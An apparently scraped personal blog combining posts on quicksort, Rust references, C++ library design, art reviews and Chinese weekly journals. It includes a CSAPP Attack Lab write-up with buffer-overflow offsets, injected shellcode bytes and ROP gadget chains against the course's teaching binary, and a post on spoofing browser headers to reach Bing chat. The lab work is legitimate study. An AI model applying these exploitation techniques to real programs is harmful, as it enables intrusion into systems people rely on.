3. Define two pointers, one pointing to the second element of the array, and the other pointing to the last element of the array.
4. Repeat the following steps until the left_pointer is greater than or equal to the right_pointer:
   1. Move the left_pointer to the right until it points to an element that is greater than or equal to the pivot.
   2. Move the right_pointer to the left until it points to an element that is less than or equal to the pivot.
   3. If the left_pointer is less than or equal to the right_pointer, then swap the elements at the left_pointer and right_pointer, and move both pointers one step towards each other.
5. Once the pointers have crossed each other, swap the first pivot element with the element at the right_pointer.
6. Recursively apply the same steps on the sub-arrays to the left and right of the pivot element.

Array of All the Same Elements ​

In the scenario of an array of all the same elements, the pivot element will be equal to all the other elements, which means that in step 4.a and 4.b, the pointers will never move. As a result, step 4.c will simply swap the two elements, and the pointers will move towards the center, thus effectively splitting the array into two equal sub-arrays.

Therefore, the algorithm can avoid the worst-case performance due to arrays of equal elements, and in fact, it will sort such arrays in O(NlogN) time, which is the average-case performance of the algorithm.

Array of Already Sorted Elements ​

To avoid this scenario, one can choose the pivot element randomly instead of always selecting the first or last element as the pivot. By choosing the pivot element randomly, the probability of selecting the smallest or largest element as the pivot is reduced, and the resulting partitions are more likely to be balanced. This helps to ensure that the worst-case performance is avoided and that the overall runtime is closer to the average-case performance of O(NlogN).

Another Detail ​

In step 4 of the algorithm, the while loop condition includes a scenario where both left_pointer and right_pointer point to the same element. This element may be greater than the pivot element. The loop exits after one iteration, ensuring that the right_pointer's element is less than or equal to the pivot. At this point, it can be swapped with the pivot.

Code ​

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <algorithm>
#include <random>
using LL = long long;
using namespace std;

void get_piv(LL arr[], LL l, LL r){
    LL piv_id = rand() % (r - l) + l;
    swap(arr[l], arr[piv_id]);
}
void sort(LL arr[], LL l, LL r){
    if (r - l <= 1)
        return;
    get_piv(arr, l, r);
    LL piv = arr[l];
    LL tail = r-1, head = l+1;
    while (head <= tail){
        if (arr[head] < piv) ++head;
        else if (arr[tail] > piv) --tail;
        else{
            swap(arr[head], arr[tail]);
            head++, tail--;
        }
    }
    swap(arr[tail], arr[l]);
    sort(arr, l, tail);
    sort(arr, tail+1, r);
}
LL arr[200000];
int main (){
    srandom(time(NULL));
    LL n;
    scanf("%lld", &n);
    for (LL i = 0; i < n; ++i)
        scanf("%lld", &arr[i]);
    sort(arr, 0, n);
    for (LL i = 0; i < n; ++i)
        printf("%lld ", arr[i]);

}

• 冬牧场。其实应该算是用 T2S 听的。据说冬天看起来效果更好不过最近确实也挺冷的。总体上是一本很放松的作品，适合随手打开看两段。

听了什么 ​

‎《忽左忽右》-《234 与侯杨方漫谈丝绸之路与西域考古》- Apple 播客

声东击西: #248 一张影响世界的地图，与数字中的疫情三年

声东击西: #245 网红，主播们的斗兽场和人造网络景观

看了什么 ​

• 铃芽之旅。好看。真实的天灾之下生死与爱情的交织使本作的情感表达力量格外充实。

做了什么 ​

• 给 Nobelium 提了 PR 处理时区问题。
• 博客另外还有奇怪的 cache 问题，似乎是 Notion 的问题，有个奇怪的版本会随机从 API 返回。Duplicate 整个 database 其实是一种 fork, 给我折腾了两天最后人工打 log 才发现。完全重建才解决了问题。
• 配置了 Azure 的 TTS 用来听书。
• 美团笔试全是算法题，好评。就是有个按理来说 py 三五行就能解决的字符串解析，老过不了。另一个挺简单的小模拟也卡题了，回头重写一遍就过了。
• 腾讯笔试也全是算法题，不过难度略比美团大些。一个题样例实在没看懂，最后两分钟交了个递增序列上去居然过了 21% 的点，可惜最后几十秒加的递减序列写错了。还有一个题是个基于gcd的组合题，实在来不及写了。看来练练算法题还是有必要的，手速实在慢了许多。
• 周一连续收到了美团阿里米忽悠的面试还有字节的笔试。
• 阿里面试 现场写码没写出快排给秒挂了hhh。算是春招期间突然出现的一场彩排了（
• 字节笔试也全是算法题，很快 AK 了（希望他们是真的有 hc 。。

碎碎念 ​

• datetime 和 en/decoding 应该是计算机历史上最大的俩屎山（或者是最臭的俩）
• 大连 Accenture 开始裁员了，有感觉到这个寒气，，

code/csapp/attack at master · BeautyyuYanli/code

Lv 1 ​

Overwrite 0x401976(the real ret addr) with 0x4017c0(the func touch1 addr).

The address can be examined with x 0x28+$rsp when the program is inside the function getbuf.

Lv 2 ​

Use gdb to inspect the following address:

• the address of cookie: 0x6044e4
• the address of original ret address: 0x5561dca0
• address of touch2: 0x4017ec

Then we need a piece of injection code to excute the call to touch2. The injection code should start from the bottom of the memory space for buf, with a sequence of nop. Then it comes to the setting of the argument and ret address for calling touch2.

Firstly overwrite the original ret address with <injection>'s address: [0x5561dca0, +4] = 0x5561dc78, which is the bottom of the memory space for buf.

Then set the address for calling <touch2>: [0x5561dc98, +8] = 0x4017ec0000000000, where is the top of the memory space for buf.

Then the injection code:

0000000000000000 <injection>:
   0:	90                   	nop
   1:	48 c7 c4 98 dc 61 55 	mov    $0x5561dc98,%rsp
   8:	48 c7 c7 00 00 00 00 	mov    $0x0,%rdi
   f:	48 8b bf e4 44 60 00 	mov    0x6044e4(%rdi),%rdi
  16:	c3                   	ret

The stack should be like:

    addr of original ret -> addr of injection (0x5561dc78)
0x5561dca0 ^^^
buf:
    addr of touch2 (0x4017ec)
0x5561dc98 ^^^
injection:
    ret
    movq 0x6044e4(%rdi), %rdi
    movq $0, %rdi
    movq $0x5561dc98, %rsp
    nop...
0x5561dc78^^^

Lv 3 ​

Similar to Lv2:

• the value of cookie: 0x59b997fa
• the corresponding little-endian value for the string '59b997fa': 0x6166373939623935
• the address of original ret address: 0x5561dca0
• address of touch3: 0x4018fa

Firstly overwrite the original ret address with <injection>'s address: [0x5561dca0, +4] = 0x5561dc78, which is the bottom of the memory space for buf.

Now we define the place start from the bottom of the memory space for buf (0x5561dc78) as the new start of stack.

Then the injection code:

0000000000000000 <injection>:
   0:	90                   	nop
   1:	48 c7 c4 78 dc 61 55 	mov    $0x5561dc78,%rsp
   8:	48 bf 35 39 62 39 39 	movabs $0x6166373939623935,%rdi
   f:	37 66 61 
  12:	6a 00                	push   $0x0
  14:	57                   	push   %rdi
  15:	48 89 e7             	mov    %rsp,%rdi
  18:	48 c7 c0 fa 18 40 00 	mov    $0x4018fa,%rax
  1f:	50                   	push   %rax
  20:	c3                   	ret

Lv 4 ​

const:

• cookie value: 0x59b997fa
• touch2: 0x4017ec

gadget:

• popq %rax : 0x4019cc
• movq %rax, %rdi: 0x4019c5

stack:

# [any byte] * 0x28
addr: 0x4019cc
0x59b997fa
addr: 0x4019c5
addr: 0x4017ec

Lv 5 ​

Use ChatGPT to form the byte sequence from farm:

Find a gadget to save %rsp:

grep -P '48 89 e[0-7] (90 )*c3' < dumpr.clean.d

get:

• mov %rsp, %rax : 0x401a06

Find gadgets to add something:

grep -P '48 8d (.. ){0,4}c3' < dumpr.clean.d

get:

• lea (%rdi, %rsi, 1), %rax : 0x4019d6

Find gadgets to move %rax:

grep -P '48 89 c[0-7] (.. ){0,4}c3' < dumpr.clean.d

get:

• movq %rax, %rdi : 0x4019c5

Find gadgets to move something to %rsi:

grep -P '89 .[6e] (.. ){0,4}c3' < dumpr.clean.d

get:

• movl %ecx, %esi : 0x401a13

Find gadgets to move something to %ecx:

grep -P '89 [c-f](./1|9) (.. ){0,4}c3' < dumpr.clean.d

get:

• movl %edx, %ecx : 0x401a34

Find gadgets to move something to %edx:

grep -P '89 [c-f](./2|a) (.. ){0,4}c3' < dumpr.clean.d

get:

• movl %eax, %edx : 0x4019dd

Finally, we can pop something to %eax:

• popq %rax : 0x4019cc

The code be like:

mov %rsp, %rax : `0x401a06`
movq %rax, %rdi : `0x4019c5`
popq %rax : `0x4019cc`
movl %eax, %edx : `0x4019dd`
movl %edx, %ecx : `0x401a34`
movl %ecx, %esi : `0x401a13`
lea (%rdi, %rsi, 1), %rax : `0x4019d6`
movq %rax, %rdi : `0x4019c5`
call touch3

• the value of cookie: 0x59b997fa
• the corresponding byte sequence encoding the string '59b997fa': 35 39 62 39 39 37 66 61

The stack should be like:

# [any byte] * 0x28
addr: 0x401a06
=== %rax is here ===
addr: 0x4019c5
addr: 0x4019cc
0x9*8=0x48
addr: 0x4019dd
addr: 0x401a34
addr: 0x401a13
addr: 0x4019d6
addr: 0x4019c5
addr: 0x4018fa (touch3)
35 39 62 39 39 37 66 61

Use ChatGPT to convert it:

丧钟为谁而鸣

• 摘录文段

  

  

  

  

在想标题里的丧钟到底是指什么。最大的可能是女人借助手相的预言，另一个可能是飞机的轰鸣声。

tomáš libertíny's beeswax busts of hera and nefertiti translate vulnerability into strength

听了什么 ​

【梵高MoneyTalk】硅谷银行推倒了世界金融危机的首块骨牌？

边角聊: 15 路易十六人头落地230周年“纪念”

做了什么 ​

• 把拖了好久的 CSAPP Lab3 做完了

• 开始动手做了 6.S081 的第一个 lab

• 参加了 mhy 的笔试，最末一题没调出来

• 把学校的形势政策（or 形式主义政策）课处理完了

• 试着跑了步

看了什么 ​

https://twitter.com/Asibuto_Penta/status/1637651978473062401?s=20

Bad.news on Twitter

碎碎念 ​

• 就在这学期之前，编政治课报告还是一个很辛苦的工作。。。

• LLM 三大任务：翻译、写代码、当猫娘，Bard 能且只能做最后一项，不过做的还挺好

  

Rust's most essential concept is the owner. A variable is the unique owner of some data, which means that when the variable is dropped, the data is removed from memory and cannot be recovered. This owner model provides a way to take responsibility for data in memory, preventing memory leaks and double-free errors.

If someone wants to access or modify data but doesn't want to take responsibility for it, they can use a reference (&). In Rust, a reference is more similar to a pointer in C/C++ than a reference in C++.

By default, a reference is immutable, meaning both the reference itself and the variable it refers to cannot be changed. However, when talking about a "mutable reference," there is a problem similar to the "top-level/low-level const pointer" in C/C++: which one is mutable, the reference itself or the variable it refers to?

1. The reference in Rust is the thing known as the pointer in C/C++ ​

If we use an editor plugin with rust-analyzer, code will be displayed as follows:

    let a = String::from("hello world");
    let b: &String = &a;
    let c: &&String = &b;

The analyzer shows that the type of b is &String and c is &&String. This is similar to the *int and **int in C/C++, right?

2. Top-Level/Low-Level Mutable Reference in Rust ​

Let's start with C/C++. As C++ Primer explains, there are two types of const in C/C++:

int a = 0;
const int *b = &a;
int *const c = &a;

The former b is a pointer to a const value a. a is not declared as a const variable, yet b treats it as such, disallowing any modifications. However, b itself is not const; it can be made to point to another const value, e.g.:

const int a2 = 1;
b = &a2;

In this case, we declare b to be a low-level constant pointer.

By contrast, top-level const means that the variable to which c points may not be const, but the pointer c itself cannot be edited. We cannot make c point to another variable.

Therefore, when we consider references in C++, they are naturally top-level const.

int &d = a;

The "location" it refers to is fixed and assigned when the reference is defined. d is simply an alias of a, nothing more.

Come back to Rust, we can define similar things like the above pointers.

let mut s1 = String::from("hello world");
let s3 = &mut s1;
*s3 = String::from("hello new world");

Here, s3 is a low-level, mutable reference. The last line changes the value of the variable that s3 refers to, namely s1. After this, the value of s1 is “hello new world” and s3 still refers to s1.

let s1 = String::from("hello world");
let s2 = String::from("hello another new world");
let mut s4 = &s1;
s4 = &s2;

In this case, s4 is a top-level mutable reference. The last line changes the “location” that s4 refers to.

Originally, s4 referred to s1, whose value was "hello world". After the last line was executed, s4 now referred to s2, whose value was "hello another new world".

3. Automatic Dereferencing / Deref Coercion ​

Things seem no different from pointers in C/C++, don't they? However, it gets more complicated because they are references, which means they must act like aliases.

let mut s1 = String::from("hello world");
let s3 = &mut s1;
println!("{}", s3.len());
println!("{}", (*s3).len());
println!("{}", s1.len());

It works. The outputs are the same. s3 can be treated as an alias of s1 here.

But:

let mut s1 = String::from("hello world");
let s3 = &mut s1;
// *s3 = String::from("hello new world");
s3 = String::from("hello new world"); // This doesn't work!

If we remove the dereference sign (*), the assignment won't work. s3 cannot be used as an alias for s1; it is merely a pointer.

And in the top-level case:

let s1 = String::from("hello world");
let s2 = String::from("hello another new world");
let mut s4 = &s1;
s4 = &s2; // This works!

We don't use * here and this time it works. We DO NOT want the compiler to treat s4 as an alias. Instead, we want it to point to another location, such as from s1 to s2.

Let's take a closer look at how the reference behaves, such as if it is an alias or a pointer. Here are the descriptions:

• From https://doc.rust-lang.org/std/primitive.reference.html

  The following traits are implemented for all &T, regardless of the type of its referent:

  • Copy
  • Clone (Note that this will not defer to T’s Clone implementation if it exists!)
  • Deref
  • Borrow
  • fmt::Pointer

• From https://doc.rust-lang.org/reference/expressions/field-expr.html#automatic-dereferencing

  If the type of the container operand implements Deref or DerefMut depending on whether the operand is mutable, it is automatically dereferenced as many times as necessary to make the field access possible. This processes is also called autoderef for short.

• From https://doc.rust-lang.org/reference/expressions/method-call-expr.html

  The first step is to build a list of candidate receiver types. Obtain these by repeatedly dereferencing the receiver expression's type, adding each type encountered to the list, then finally attempting an unsized coercion at the end, and adding the result type if that is successful. Then, for each candidate T, add &T and &mut T to the list immediately after T.

All primitive references have a trait called Deref. Two mechanisms, "automatic dereferencing" and "Deref coercion", can use Deref to implement "referencing" behavior.

Generally, in the following cases, reference A acts as an alias:

• A.attribute_1
• A.method_2(B)
• B.method_3(A)
• function_4(A)

Otherwise, A acts as a pointer, including:

• A = B
• if A == B {…}
• match A { B => … }

For more information on coercion, check out the following links:

Why does Rust not perform implicit deref coercion in match patterns?

The Rust Programming Language

What Can Coerce, and Where, in Rust

However, Bing is currently only available in Microsoft Edge. This post explains how to use the new Bing AI assistant in any browser, using Microsoft Edge's debug tool and plugins for Chrome and Firefox.

Firstly, Open Microsoft Edge and press F12 to open its debug tool. Switch to the "Network" tab.

Open new Bing chat and select the first item in the "Network" tab. This should be a request to the Bing page with a status code of 200. Find Request Headers in the tab.

Take note of the entries related to the browser and search page. Copy the following three:

sec-ch-ua: "Chromium";v="110", "Not A(Brand";v="24", "Microsoft Edge";v="110"
sec-ch-ua-full-version: "110.0.1587.46"
sec-ch-ua-full-version-list: "Chromium";v="110.0.5481.77", "Not A(Brand";v="24.0.0.0", "Microsoft Edge";v="110.0.1587.46"

It is recommended to copy the value in your own browser rather than using the provided ones, as they may not be up to date.

Then set up these headers in your main browser with some plugins.

For Chrome: ​

Install ModHeader:

ModHeader - Modify HTTP headers

Config as follows:

For Firefox: ​

Install Modify Header Value:

Modify Header Value – Get this Extension for 🦊 Firefox (en-US)

Open the options page and add the headers as follows:

That's done! Now you can open the new Bing chat in your browser and experience its power!

This post was written with the help of Notion AI. Artificial Intelligence tools are sure to revolutionize our lives and production in the near future, if not already. I'm excited to see what the future holds.

这个展览的名字就让我提起了兴趣：《巴黎人 2050 & 东北人 2050》。可惜后者只是没有介绍的学生作品，只能说聊胜于无吧。前者的确是一组很有意思的作品。

值得注意的是，这组作品创作于 2017 年。在五年后的今天来看这组以“未来”为主题的作品，又有了另一番风趣。

公司文化、团建、可穿戴设备、人工智能：一组令人窒息的关键词。不妨叫社畜朋克吧。

在 2022 年，我们还能想象这样的理想国未来吗？

我的第一反应是“鼓掌表决”或者“不同意的请举手”这样的东西。不过法国人大概不会 get 到这个点。

这个作品的落脚点在于社交媒体的网红效应以及其背后的大众性和匿名性。进一步而言可以联想到带有回声壁效应的舆论表达。在 2017 年后的不久，一种集大成的网红形式出现了：vtuber。

至于它在民主形式角度的表达，应该早有不少相关的讨论了。在五年后的今天，人们已经到了要为马克龙当选而欢呼的地步。

尽管作者在简介中使用了积极和消极并有的描述，但画面其实无疑地展现了悲观色彩。汽车尾气、撒尿小狗，它们可以轻易毁掉这脆弱的草图。画家最后的这笔画是台阶，或者是阶级？

像大物实验讲义一样让我完全看不懂的简介。

市民的原子化曾是城市化进程中的大势所趋。但五年后的今天，我们却看到了邻里关系在上海发生了重塑。而与之伴生的，是“居委会”这样一个特色存在。

性、劳动、生育：人类迄今为止的主题——或者是永恒的主题。它们还会持续多久？2050年，宣传机器高呼的“本世纪中叶”，仿生机器人会成为它们的奴隶吗？

这个作品在远处就吸引了我，自然是因为其在一众作品中突出的日式画风。近看发现右侧女人的耳饰实际上是一只张牙舞爪的小机器人，与左侧女人的传统耳饰乃至整体的传统画风形成强烈冲突。我想，这就是简介所言“令人作呕的味道”。

这或许是个环保主义者得势的未来——光污染被清除，星光重现人间。但房间里闪烁的电子产品的 LED 灯暗示了另一个令人不安和焦虑的事实：“是啊，真漂亮…我很久都没有注意过了…我们好像有 137 个未读信息了。”

一些不评论但也觉得很有趣的作品：

最后，我想以这个作品作结：“我只对被可以称之为‘现在’的未来感兴趣。”

我们都如此缺乏想象力，以至于我们想象的未来都不过是现在的延续。站在 2022 年观看这组 2017 年的作品，艺术家们所想象的“未来”甚至可以被称为“过去”了：他们谈论的话题居然是环保、难民、赛博朋克、劳工权益，而不是战争、能源、流行病！

“谁控制了过去，谁就控制了未来；谁控制了现在，谁就控制了过去”。这句掷地有声的警句，却又如“把你赢的钱的一半给我”这般不痛不痒。谁知道我们现在生活在历史的哪里？又从何谈起未来？

（ps：刚到展馆的时候误入了某个献礼展厅，差点大骂退钱；然后发现是走错了…）

C++ Libraries - Part II: Implementation

本文是 编写 C++ 库(一): 设计 的后续文章.

在这一部分, 我们将介绍编写 C++ 库的基本知识.

2. 为 C++ 库编写代码的技术 ​

C++ 提供了多种方式来编写库的代码:

其中, (I) 和 (IV) 可以打包成一个包 (.o / .a / .so), 而 (II) 和 (III) 必须作为源代码提供.

3. 打包库的代码的技术 ​

注意: 本文接下来将解释创建一个库的技术细节. 这些例子和说明基于 Linux 操作系统, 使用 CMake 工具. 在 Windows 操作系统上的流程与之相似.

正如上文 "代码的使用方式" 一节所详细提到的, 一般来说, 用户主要有三种方式来使用这个库:

1. 使用库的源代码: 这通常是和上文中 2. (III) 的编写方式一并使用, 因为 template 模板可以“按需”创建代码, 而你仅仅只是将源码包装进库中而已.

2. 静态链接库: 库的代码将**嵌入用户的程序, 成为其一部分 (**库的代码将成为最后可执行文件的一部分).

   这种库可以由以下的方式提供:

   • 一个 Object 文件 (.o)
   • 一系列 Object 文件 (称为一个 “Object 库”)
   • 一系列打包在一起的 Object 文件, 构成一个”主”文件 (.a) (称为一个 “Archive 库”)

3. 动态链接库: 用户代码将存在“指向库的代码” (称为”符号 symbols”). 当运行用户代码的时候, 加载器 loader 会将库加载到内存中, 并提供对库的指向. 在这种情况下, 库提供的符号 symbols (应用二进制接口, Application Binary Interface, ABI) 定义了库和用户代码的结合.

   如果库没能提供这些符号 symbols (可能在编译的时候, 由链接器 linker 负责; 也有可能在加载的时候, 由加载器 loader 负责), 我们会得到链接器 linker / 加载器 loader 的报错.

除此之外还有其它的使用方式, 不过它们在这篇文章中不会被讨论.

以上的这些方式都可以在库的 CMakeLists 文件中配置.

1. 使用库的源代码: 创建一个 INTERFACE 库

   

2. 静态链接库:

   • .o (Object 库)

     

   • .a (Archive 库)

     

3. 动态链接库: .so (共享对象, shared object)

   

关于如何在 gcc 中手动创建每个选项的更多细节和技术规范, 请见:

Shared libraries with GCC on Linux

4. 库和用户代码的结合 ​

这就是说创建 main.out 可执行文件的过程.

a. 将库的源代码与用户代码结合 ​

在编译源代码时, 最终产物只有 main.out 文件.

Preprocessor: 预处理 | Compiler: 编译器 | Linker: 链接器

b. 将库做为 objects (静态/动态库) ​

Declaration: 声明 | Definition: 定义

*重点: 在动态库 .so 的这种情况中, main.out 将不包含库代码编译出的二进制内容. 作为替代, 在 main.out 被运行时, 加载器 loader 将把 .so 加载到内存中.

5. 分发你的库的方式 ​

C++ 提供了多种方式来引入一个库 (部分列表):

(I) 静态库 (.o / .a): 被加入到程序 main 中

(II) 仅头文件库 (.h): 被加入到程序 main 中

(III) 动态库 (.so): 被加入到共享对象 mylib.so, 需要重启 main 程序.

(IV) 动态库 (.so): 无需重启程序 main, 只需重载库即可 — 通过使用 dlopen.

*重点: (III) 和 (IV) 的区别仅在于用户的使用方式, 体现在 main 的代码中 (而与库的代码无关).

以上这些方式的对比:

“最小” 意味着仅有用户使用到的部分 (如果是多个 .o 文件, 则仅有那些包含用户调用了的函数的 .o 文件)

“最大” 意味着库中的所有代码 (因为动态链接并不知道用户使用了库中的哪些部分, 因此 .so 包含了所有的代码)

与上表有关的更多信息:

• 相同的代码可以由不一样的方式创建: https://stackoverflow.com/questions/25606736/library-design-allow-user-to-decide-between-header-only-and-dynamically-linke
• 静态库与动态库的大小比较: https://stackoverflow.com/questions/27728385/how-statically-linked-binaries-could-be-smaller-than-dynamically-linked-binaries

6. 结语 ​

当然, 还有更多的主题需要解决, 本文仅试图涵盖最基本和最常见的一些技术.

C++20 支持了 "可组合" 代码的新的结构形式, 它可以改变构建库的过程, 特别是, 消除了对头文件的需求. 这种形式被称为模块. 这是一个完全不同的话题, 需要由单独的文章另行说明.

感谢 Hana Dusíková 和 Billy Baker 审阅此文.

也感谢你的阅读, 我希望你觉得这篇文章对你有益 😃

更新 (2022年3月): 我创建了一个 repo: TestCMake, 其中有针对静态库和仅头文件库的 CMake 文件的简化示例 (基本与官方教程一致).

译者结: 本文是译者在完成一门课程作业时参考的文章. 本文介绍了创建一个 C++ 库的基本方式和类型, 对于初次编写 C++ 库的开发者而言十分友好, 故翻译后发布至译者博客.

C++ Libraries - Part I: Design

这篇文章介绍了编写一个 C++ 库的基本知识.

这篇文章最初来自一些人的疑问. 于是我为希望深入了解关于”库”的总体概念, 尤其是 C++ 库的开发者们写下了这篇简短的介绍文.

这是两篇系列文章的第一部分, 第二部分可以在这里找到.

如果你有兴趣将你编写库的能力提高到一个新的水平, 这篇博文将是为你准备的 😃

0. 什么是库? ​

库 (library, 图书馆) 是一个精心设计的信息来源与相似资源的集合.

每个软件开发者都很熟悉”库”这个词.

在 C++ (尤其是基于面向对象设计的项目) 中, 几乎每个类都定义了一个 API (Application Programming Interface, 应用程序接口). 但并不是每个 API 都是库.

尽管上面引用的这句话指的是物理意义上的”图书馆”, 但它对于软件的”库”而言也十分贴切.

请你想想一个物理世界中的图书馆: 有这许许多多各种各样不同主题的书籍, 这些书籍可以在目录上依次排开, 也可以把一部分书放在一起, 形成一个书单. 对于软件的库来说, 一个库可以是单一的一个功能的集合 (比如一个文本解码器), 也可以是一系列多个功能的集合 — 例如 C++ 标准库 (standard C++ library, STL).

“库”通常意味着通过它定义的 API 提供功能, 但实际上还有更多东西 — 写一个库听起来简单, 但这是一个十分复杂的问题.

在开始之前, 让我们定义两个基础用词:

• 库代码: 也就是这个库本身的代码, 用户需要写 #include “mylib.hpp” 这样的代码来引用这些库代码.
• 用户代码: 在程序中引入库, 调用库的功能的代码.

在接下来的文章中, 我们会使用这份样例 (极简版, 实际上并不能运行) 进行解释:

库 (”仅头文件” 版)

// Shape.hpp

class Shape
{
    enum Color {
        RED = 1,
        BLUE = 2
    };
 
    Shape (Color color) {   print("I'm a new shape");  }    // Constructor
 
    void printType()  {   print("I'm a shape");  }                     
    void drawOnScreen() {   print("drawing a shape on screen");  } 
}

用户代码

// main.cpp

#include "Shape.hpp"

int main()
{
    Shape my_shape = Shape(RED);    // "I'm a new shape"
 
    my_shape.printType();           // "I'm a shape"
    my_shape.drawOnScreen();        // "drawing a shape on screen"
}

请注意, 一个库既可以可以写作”仅头文件”模式 (也就是仅有 .hpp 文件), 也可以写作 .hpp + .cpp 模式 (将定义和声明分离开, 定义部分写在 .cpp 文件里).

在头文件中编写代码会产生一些小的技术差异 (这里就不解释了), 但是当 template (模板) 被用作编写你的库的技术时, 通常会使用“仅头文件"的模式.

其主要区别在于, 使用“开放”的 template 模板意味着它可以”按需”实现代码, 而这只能在 .hpp 源代码提供给用户代码时才能做到.

(template 模板库将在本文的后面出现, 但关于 template 模板技术的更多解释准备在另一篇博客中发表)

1. 如何设计一个库? ​

这儿有些问题, 你应当在准备编写库的时候思考清楚.

a. 这个库的 API 接口是什么? ​

这是你需要做的最重要的决定.

当你定义 API 接口时, 你也就定义了用户将如何使用这个库. 更重要的是, 你定义了在你的库的不同版本之间不应该改变的内容.

如果你改变了 API 接口 — 你就在你的库中产生了一个破坏性的变化 (breaking change). 所以在定义它之前, 要仔细考虑.

最好的做法 (来自于面向对象的设计) 是将所有的实现细节封装起来, 只展示用户需要调用的部分.

b. 这个库的需求是什么? ​

你得想想这个库的用途.

你的库是给系统开发者使用的, 还是给其他库的编写者使用的, 或者是介于两者之间?

它是一个局部设施 (旨在被程序的特定部分使用, 如写入文件系统), 还是一个全局设施, 与所有程序有关? (比如说, 日志, 或普适的封装打包器)

c. 目标用户期望这个库有什么重要特性? ​

这可能是以下一个或多个方面: 精简的代码量, 快速的运行性能, 可读性, 简单性, 向后兼容性, 等等. 请注意, 这其中的一些是相互矛盾的.

d. 用户会如何使用这个库? ​

这一点可以分为以下的两个部分讨论. 务必注意. 这两个部分可能相关, 但不一定相互绑定.

1. 设计的使用方式
2. 代码的使用方式

设计的使用方式

这个库设计的内容将会如何被用户在代码中使用. 以下是两个典型例子:

1. 用户继承了这个库中定义的类

   cpp

   // main.cpp
   
   #include "Shape.hpp"
    
   using Radios = size_t;
    
   class Circle : public Shape
   {
       Circle(Color color, Radios radios)
       : Shape (color)                         // calling shape constructor
       , m_radios(radios)                      // initializing the radios of the circle
       {  
           Print("I'm a new circle");
       }
       void printType()  {   print("I'm a circle");  }                    
       void drawOnScreen() {   print("drawing a circle on screen");  }
    
       Radios m_radios;
   }
    
   int main()
   {
       Circle my_circle = Circle(RED, 3);      // "I'm a new Shape" "I'm a new circle"
    
       my_circle.printType();                  // "I'm a circle"
       my_circle.drawOnScreen();               // "drawing a circle on screen"
   }

2. 用户使用库中定义的类创建了一个对象, 并使用其方法来执行功能. (这可以是直接创建该类的对象, 也有可能被另一个类作为成员. 这里的例子是后者)

   cpp

   // main.cpp
   
   #include "Shape.hpp"
   
   using Radios = size_t;
    
   class Circle
   {
       Circle(Color color, Radios radios)
       : m_shape(color)                        // calling shape constructor
       , m_radios(radios)                      // initializing the radios of the circle
       {  
           Print("I'm a new circle");
       }
       void printType()  {   m_shape.printType(); print("I'm a circle");  }                       
       void drawOnScreen() {  m_shape.drawOnScreen(); print("drawing a circle on screen");  } 
    
       Shape m_shape
       Radios m_radios;
   }
    
   int main()
   {
       Circle my_circle = Circle(RED, 3);      // "I'm a new Shape" "I'm a new circle"
    
       my_circle.printType();                  // "I'm a shape" "I'm a circle"
       my_circle.drawOnScreen();               // "drawing a shape on screen" "drawing a circle on screen"
   }

这两种用法之间的选择, 自然是由期望的设计模式决定的.

*另外还有第三种选择, 不过这并不是面向对象的. 这种做法在 C 语言中更常见, 也可见于 C++ 标准库 STL 中 (仅限特定的使用场景). 你应当谨慎地使用这种做法, 因为这可能影响命名空间 namespace.

1. 用户的代码引用了非成员 (不属于一个类) 的函数 / 模板函数

   cpp

   // ShapeFreeFuncLib.hpp
   
   template <typename T>
   void drawShapeOnScreen(T shape) {
     print ("draw shape on screen");
   }

   cpp

   // main.cpp
   
   #include "ShapeFreeFuncLib.hpp"
   
   int main()
   {
     SomeShapeType my_shape;
     
     drawShapeOnScreen(my_shape);
   }

代码的使用方式

这意味着库的实现代码如何被用户添加到自己的项目中.

有多种方法来添加一个库, 它们取决于你打包库的方式.

注意, 在下面的章节中, 我提到了基于 Linux 操作系统的文件扩展名. Windows 操作系统有不同的文件扩展名, 但其余的技术细节都是一样的.

一般来说, 有两种主要方式:

1. 将库作为附加的源代码, 加入到用户的项目中 (例如“仅头文件”库).
2. 将库作为独立的制品 (artifact), 在链接 (link) 时添加到用户的代码中 (.o / .a / .so). 这又可以分为两种类型:

   1. 将库的代码编译为静态库 (.o / .a), 用户在编译时链接静态库, 以将库的代码嵌入到自己的代码中 (也就是加入到 main.out 的可执行文件中)

      译注: 在 Window 下, 可执行文件的拓展名是 .exe

   2. 将库的代码编译为动态库 (.so)

      译注: 在 Window 下, 动态库的拓展名是 .dll

编译为动态库的方式, 又可以分为两种类型:

1. 用户代码 (.o) 和 .so 之间动态链接, 这意味着:

   • 用户代码 (main.out) 和库代码 (.so) 要一并复制到目标环境中
   • main.out 不能在缺少 .so 的环境中运行.

2. 用户代码 (.o) 和 .so 之间动态插入式链接, 这意味着:

   • 用户代码 (main.out) 和库代码 (.so) 要一并复制到目标环境中
   • main.out 可以运行, 而且我们可以在更改动态库 (.so) 版本时无需重启 main.out 的进程. (只需调用其”重载”的功能)

   这种做法要求 main.cpp 程序使用特定的代码 (dlopen) 来支持它. (通过添加特定的函数来加载动态库)

这些形式的选择应当取决于需求. 编写C++ 库(二): 实现 的第 5 章展现了每种形式的优点和缺点.

e. 版本控制 — 这个库的更新有多频繁? ​

在这里, 你需要为你的用户考虑, 并对版本管理进行相应的规划.

他们是在离线系统上工作吗? 他们是保留多个版本还是只有一个版本?

以下是一些需要考虑的事:

• 你的用户群体越大, 你就越有可能需要维护多个版本.
• 根据你的用户群体, 你应该决定是否 "允许" 你的库在不同版本之间发生 API 的破坏性改变 (breaking change).

如今通常的, 制定库的版本号的方式可见:

Semantic Versioning 2.0.0

如你所见, 设计一个新的库绝不是一件简单的工作. 请记住 — 这篇文章只是一个概述. 在实现你的库之前, 建议你深入研究上述主题. 其中在 API 部分, 我还建议你了解 CPO‘s (Customization Points, 自定义点)

在 编写C++ 库(二): 实现 中, 我们将深入探讨关于创建, 打包和与链接库的技术.